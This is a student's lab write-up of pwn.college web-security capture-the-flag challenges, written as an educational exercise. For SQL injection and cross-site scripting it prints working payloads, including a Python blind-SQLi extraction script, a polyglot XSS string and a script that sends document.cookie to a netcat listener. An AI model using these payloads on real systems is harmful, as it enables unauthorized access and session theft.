CSCI 400 Lab 7

**Name: Christopher Gonzalez**

**Class Section: CSCI 400 02 [35583]**

**Date: December 5, 2024**

**Instructions**:

* Login to your account at <https://pwn.college/>

**pwn.college username: Chris\_B\_Gonzalez**

**A screenshot of a computer

Description automatically generated**

* **Go to the Intro to Cybersecurity dojo:**[**https://pwn.college/intro-to-cybersecurity/**](https://pwn.college/intro-to-cybersecurity/)
* **Review short videos above challenges in Web Security:**[**https://pwn.college/intro-to-cybersecurity/web-security/**](https://pwn.college/intro-to-cybersecurity/web-security/)
* **Complete SQLi, XSS and CSRF challenges.**

**SQLi 1**

**A screenshot of a computer

Description automatically generated**

**To obtain the flag, I opened the terminal and started the challenge. Once the server was active, I went to the challenge.local host website. Upon opening the website, I was prompted to give a username and PIN. This is similar to some of the challenges in the previous lab where I was required to do “cat /challenge/server” in the terminal to extract credential information. The objective was to login as the admin, however the code of /challenge/server revealed that the password is completely random. Although it felt like a dead end, I recalled learning in class hackers can perform SQLi injections to outsmart the logic of certain components (in this case the authentication process). Despite not knowing the password, I entered 1234 OR 1=1. When the website verifies the PIN information provided, we will be granted access because 1 is equal to 1. This is because we provide information the website logic will deem the PIN as true. Once I logged in as the admin, the flag was revealed to me.**

**SQLi 2**

**A screenshot of a computer

Description automatically generated**

**To obtain the flag, I opened the terminal and started the challenge. Once the server was active, I went to the challenge.local host website. This challenge is almost identical to the previous challenge, but the instructions for this challenge informed me the injection must be done partway through, meaning identical information I provided in PIN for the last challenge will not work. Therefore, I began by entering “admin” for User and then experimented with the information I provided for Pass (which functions similarly to PIN from the last challenge). After a few tries, I discovered the appropriate information to put for Pass was ‘ OR 1=1 – which resulted in a successful login as the admin and provided the flag.**

**SQLi 3**

**A screenshot of a computer

Description automatically generated**

**To obtain the flag, I opened the terminal and started the challenge. Once the server was active, I went to the challenge.local host website. The instructions for this challenge informed me that I will be required to chain SQL queries in order to leak the flag. This means that I needed to use UNION to trick the website into giving me the flag. The website also provided minor information such as the list of users (admin, guest) and an example query. Using all this information, I entered “ UNION SELECT password FROM users – which was enough to leak the flag.**

**SQLi 4**

**A screenshot of a computer

Description automatically generated**

**To obtain the flag, I opened the terminal and started the challenge. Once the server was active, I went to the challenge.local host website. This challenge is nearly identical to the last challenge, but this time it was informed to me that the name of the table I needed to extract information from was randomized. This means I needed to modify the information I provided in the last challenge to accommodate for not having the name of the table. With a little research, I generated the command " UNION SELECT name FROM sqlite\_master WHERE type='table'-- as a workaround for not having the name of the table. This resulted in the website giving me the name of the table I needed (users\_6516424979). Now with this information, I then entered “ UNION SELECT password FROM users\_6516424979 – which was enough to give me the flag.**

**SQLi 5**

**A screenshot of a computer

Description automatically generated**

**To obtain the flag, I opened the terminal and started the challenge. Once the server was active, I went to the challenge.local host website. The instructions for this challenge informed me that I would need to perform a blind SQL injection to the server. This is because the server (and therefore the website) will not provide the flag. Instead, I would need to create a program that recovers the flag bit by bit. To do this, I began by creating a file titled sqli5.py and writing the following code on this file:**

**#!/bin/python3**

**import requests as req**

**host = 'challenge.localhost'**

**path = '/'**

**url = 'http://' + host + path**

**headers = {"Content-Type": "application/x-www-form-urlencoded"}**

**flag = "pwn."**

**for loops in range(0, 80):**

**for i in range(0x21, 0x7F):**

**if i == 0x21:**

**print(">>>", end=" ")**

**if i in {0x2A, 0x3F}:**

**continue**

**if i == 0x7E:**

**print("EOF")**

**quit()**

**payload = f"username=admin&password=%22+OR+password+GLOB+%22{flag}%{hex(i)[2:]}%2A%22+--"**

**r = req.post(url, headers=headers, data=payload) # allow\_redirects=True, cookies=jar)**

**if r.status\_code == 200:**

**flag = flag+chr(i)**

**print(r.status\_code, flag, hex(i))**

**break**

**In short, this program uses the challenge.localhost website to make constant HTTP requests with the target path defined as /. Since all flags begin with pwn., this information was included so the program can discover this variable in the application and append more characters. This process is done by looping 80 times, where each loop builds the flag information one character at a time. This fulfills the hint given by the instructions, “Sometimes, even if the actual data is not shown, you can recover one bit!”. After completing this code, I saved it by entering “:wq”, and then made the file executable by writing “chmod +x sqli5.py” in the terminal. Finally, I ran the program, which assembled the flag one character at a time until the flag was completed.**

**XSS 1**

**A screenshot of a computer

Description automatically generated**

**To obtain the flag, I opened the terminal and started the challenge. Once the server was active, I went to the challenge.local host website. In addition to having /challenge/server, these series of challenges will require me to make use of a new program named /challenge/victim. The key to this challenge is to inject a new textbox on the website. To do this, I entered <form method=post>Your password has expired give new password:<input type=text name=content><input type=submit value=Submit></form>, which effectively created a textbox for the purpose of giving a new password. Then on the terminal, I ran /challenge/victim to check my work, which then proceeded to give me the flag.**

**XSS 2**

**A screenshot of a computer

Description automatically generated**

**To obtain the flag, I opened the terminal and started the challenge. Once the server was active, I went to the challenge.local host website. The instructions for this challenge required me to execute a JavaScript alert("PWNED") to pop up that informs the victim that they've been pwned. To do this, I entered <script>alert(“PWNED”)</script> and then went back to the terminal to do /challenge/victim. Since the program verified I did successfully pwned the website, it gave me the flag.**

**XSS 3**

**A screenshot of a computer

Description automatically generated**

**To obtain the flag, I opened the terminal and started the challenge. Once the server was active, I went to the challenge.local host website. This challenge is nearly identical to the last challenge, but /challenge/victim also required the url of website when it has been PWNED. I began by entering the same command I did in the last challenge (<script>alert("PWNED")</script>) which gave me the alert. Then, I copied the url of the website and pasted it in the terminal (this can be seen after /challenge/victim on the right of the image). After doing this, the flag was given to me in the terminal.**

**XSS 4**

**A screenshot of a computer

Description automatically generated**

**To obtain the flag, I opened the terminal and started the challenge. Once the server was active, I went to the challenge.local host website. Upon entering the website, I was prompted to provide a message that can then be turned into a url. The key to completing this challenge is to create a url that will result in the website showing the PWNED alert. To do this, I used JavaScript to create the following command:**

**jaVasCript:/\*-/\*`/\*\`/\*'/\*"/\*\*/(/\* \*/oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert("PWNED")//>\x3e">**

**After pressing the “Make URL!” button, this code was accepted and created the PWNED alert required. I copied the url of the website and went to the terminal to start the /challenge/victim program and pasted the url afterwards. Then, the flag was given to me.**

**XSS 5**

**A computer screen shot of a computer

Description automatically generated**

**To obtain the flag, I opened the terminal and started the challenge. Once the server was active, I went to the challenge.local host website. The website required me to provide credentials before accessing the ability to make posts. I started by entering the command cat /challenge/server and searched for credentials. Fortunately, there was a user listed as hacker with password 1337, so I provided this in the login screen and was given access to make posts. The instructions or this assignment hinted that I would be required to use the fetch function, so I created the post <script>fetch('/publish');</script> and checked my work by starting the /challenge/victim program. I was informed that the attack worked, so I refreshed the page and was given the flag.**

**XSS 6**

**A computer screen shot of a computer

Description automatically generated**

**To obtain the flag, I opened the terminal and started the challenge. Once the server was active, I went to the challenge.local host website. Once again, I was required to login before being given access to the post service provided by the website. I checked for credentials once again by entering cat /challenge/server on the terminal, and I discovered I can use the same credential information as the last challenge. Once I provided the appropriate username and password, I was able to use the post service. The instructions for this challenge stated that I would need to use the fetch function again, but this time the function will need to be used to make POST requests. Therefore, I entered <script>fetch('http://challenge.localhost/publish',{method:'POST',});</script> and checked my work through the /challenge/victim program. I was informed that my work was successful, so I refreshed the page and got the flag.**

**XSS 7**

**A screenshot of a computer

Description automatically generated**

**To obtain the flag, I opened the terminal and started the challenge. Once the server was active, I went to the challenge.local host website. Upon entering the website, I was required to enter login credentials to access the POST service. By checking /challenge/server on the terminal, I learned I can use the same credentials once again. The instructions for this challenge hinted that I would be required to use fetch() once again, but it was also mentioned that the level stored authentication data for the logged in user in a cookie. Taking this into consideration, I entered “<script>fetch('http://localhost:1337', {method: 'POST', body:document.cookie});</script>” and posted it to the website. Afterwards, I opened a new terminal and entered “nc -lvnp 1337” because the instructions mentioned this information as well. Next, I entered “/challenge/victim” on another tab to check my work so far. The tab that was actively listening on port 1337 captured admin|ve.dJDO1YDLwUzNwczW}. With this information, I went back to the website, pressed F12, and pasted it in the Storage tab and value bar. After refreshing, I got the flafg.**

**CSRF 1**

**Despite my best efforts, I was unable to retrieve this flag. According to the instructions for this challenge, the objective was to make use of the GET request to make sensitive requests to the challenge.local host server. However, this would need to be done through Cross Site Request Forgery, or CSRF for short. I understand that, after starting the server, the goal would be to construct a code that would trick the website to publish the flag. CSRF code is typically in html, the programming language used for all websites on the Internet. The program would’ve worked by using port 1337 to make HTTP requests. Before this, I would need to login on the website (likely with the hacker credentials) and use nc/a python server to listen to the http requests made with the assistance of the hmtl program. Finally, I would have invoked /challenge/victim to verify my work.**

**CSRF 2**

**Unfortunately, I was unable to retrieve this flag either. My inexperience with hmtl is the main reason why I had trouble capturing the flag for all CSRF challenges. Based on the description for this challenge, it appears I would be required to write another program in hmtl, but this time the program would need to use POST rather than GET. According to the directions, the goal would have been to have the program would need to send the POST request in an HTML form submission. After entering the challenge.localhost website using the hacker credentials, I infer I would need to listen to the server via pot 1337 again and then start the /challenge/victim program to review my work.**

**CSRF 3**

**Based on the information provided in the instructions for the challenge, the goal would be to use CSRF to trigger Cross Site Scripting (XSS) and invoke an alert on the challenge.localhost website. In other words, I was expected to combine some of the practices I did in the XSS challenge and implement it with a CSRF (html) program after gaining access to the website via the hacker credentials. Once the CSRF program was written and saved, I would likely need to listen to the server via port 1337, invoke /challenge/victim, and verify the alert was triggered.**

**CSRF 4**

**According to the instructions for this challenge, the goal to capturing the flag would be to use CSRF to perform an XSS, which will then lead to a cookie leak that will allow me to capture the flag. This reminds me of the XSS 7 challenge where I used a leaked cookie to obtain admin access to the website after pasting the information in the Storage tab and value bar. I infer I would need to first write a program that functions like XSS to collect a leaked cookie. It also seems that I would need to perform some URL encoding in my CSRF code in order to perform properly. After creating this program, the next step would be to log into the website with the hacker credentials, listen to the server through port 1337 AND 1234 (as the instructions hinted that I would need 2 terminals listening, one for CSRF and another for XSS), collect the cookie information, and paste it in the Storage tab and value bar for admin access.**

**CSRF 5**

**According to the description of this challenge, I was informed that the strategy needed to complete CSRF would no longer be a viable strategy to capture the flag. This is because the cookies for this challenge have been set to httponly, which is a setting that makes cookies only accessible in HTTP headers and not JavaScript. However, the instructions also pointed out that retrieving the cookie wouldn’t be necessary and I could use the fetch() function on other pages. Therefore, I infer that the CSRF program needed to complete this challenge would need to incorporate fetch on a different page, listen to port 1337 and 1234 (since it is also given that I would need to combine CSFR and XSS practices), and invoke the /challenge/victim program to verify the work.**